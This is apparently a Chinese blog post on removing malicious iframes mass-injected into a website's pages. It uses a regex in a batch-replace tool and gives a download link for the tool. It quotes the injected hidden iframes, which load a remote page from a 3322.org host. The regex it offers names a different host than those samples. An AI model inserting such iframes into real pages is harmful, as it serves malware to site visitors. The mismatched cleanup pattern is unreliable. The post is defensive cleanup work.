網站被批量掛馬是經常遇到的事情， 一般用批量替換工具很方便就可以批量刪除相關代碼， 但是如果一個網站里面每個頁面都被放置了木馬， 而且代碼還都不一樣。 這種情況如何處理？

因為沒有一個頁面掛的馬是相同的， 所以根本刪不掉。 前幾天我的一個朋友就遇到了這個問題。

他訴苦道服務器上一個網站被批量掛了木馬， 仔細一看居然每個頁面掛的木馬都不一樣。

我檢查了一下是類似這樣的情況：

頁面一的木馬是：

<ifraME src=http://sb.3322.org/isme.asp widTH=50 height=0 name=5148 naMe=2 boRdeR=0></ifRame>

頁面二的木馬是：

<ifraME src=http://sb.3322.org/isme.asp widTH=50 height=0 name=2133 naMe=2 boRdeR=0></ifRame>

頁面三的木馬是：

<ifraME src=http://sb.3322.org/isme.asp widTH=50 height=0 name=4583 naMe=2 boRdeR=0></ifRame>

……

仔細看， 雖然每個頁面上掛的木馬不同， 但是還是有一定規律的。

這時候， 我就在郁悶了， 要是能有一個支持正則的批量替換工具就好了。 還好補天的areone幫忙， 給我介紹了一個小工具， 恰恰可以滿足這個要求。

這里有下載：

http://www.butian.org/soft/731.html

打開AFR工具， 選擇批量替換：

搜索內容部分填寫：

<ifraME src=http://88lai.3322.org/u.asp widTH=50 height=0 name=\d{4} naMe=2 boRdeR=0></ifRame>

替換為空 即可。

注意上面語句中紅色部分， 就是正則表達式了。 通過這種方法， 就可以批量對木馬進行刪除了。

很快， 清除了4百多個頁面上的木馬。 大功告成。

正則表達式在平時技術方面的應用中用的很多， 后面我也會給大家找一些這方面的教材。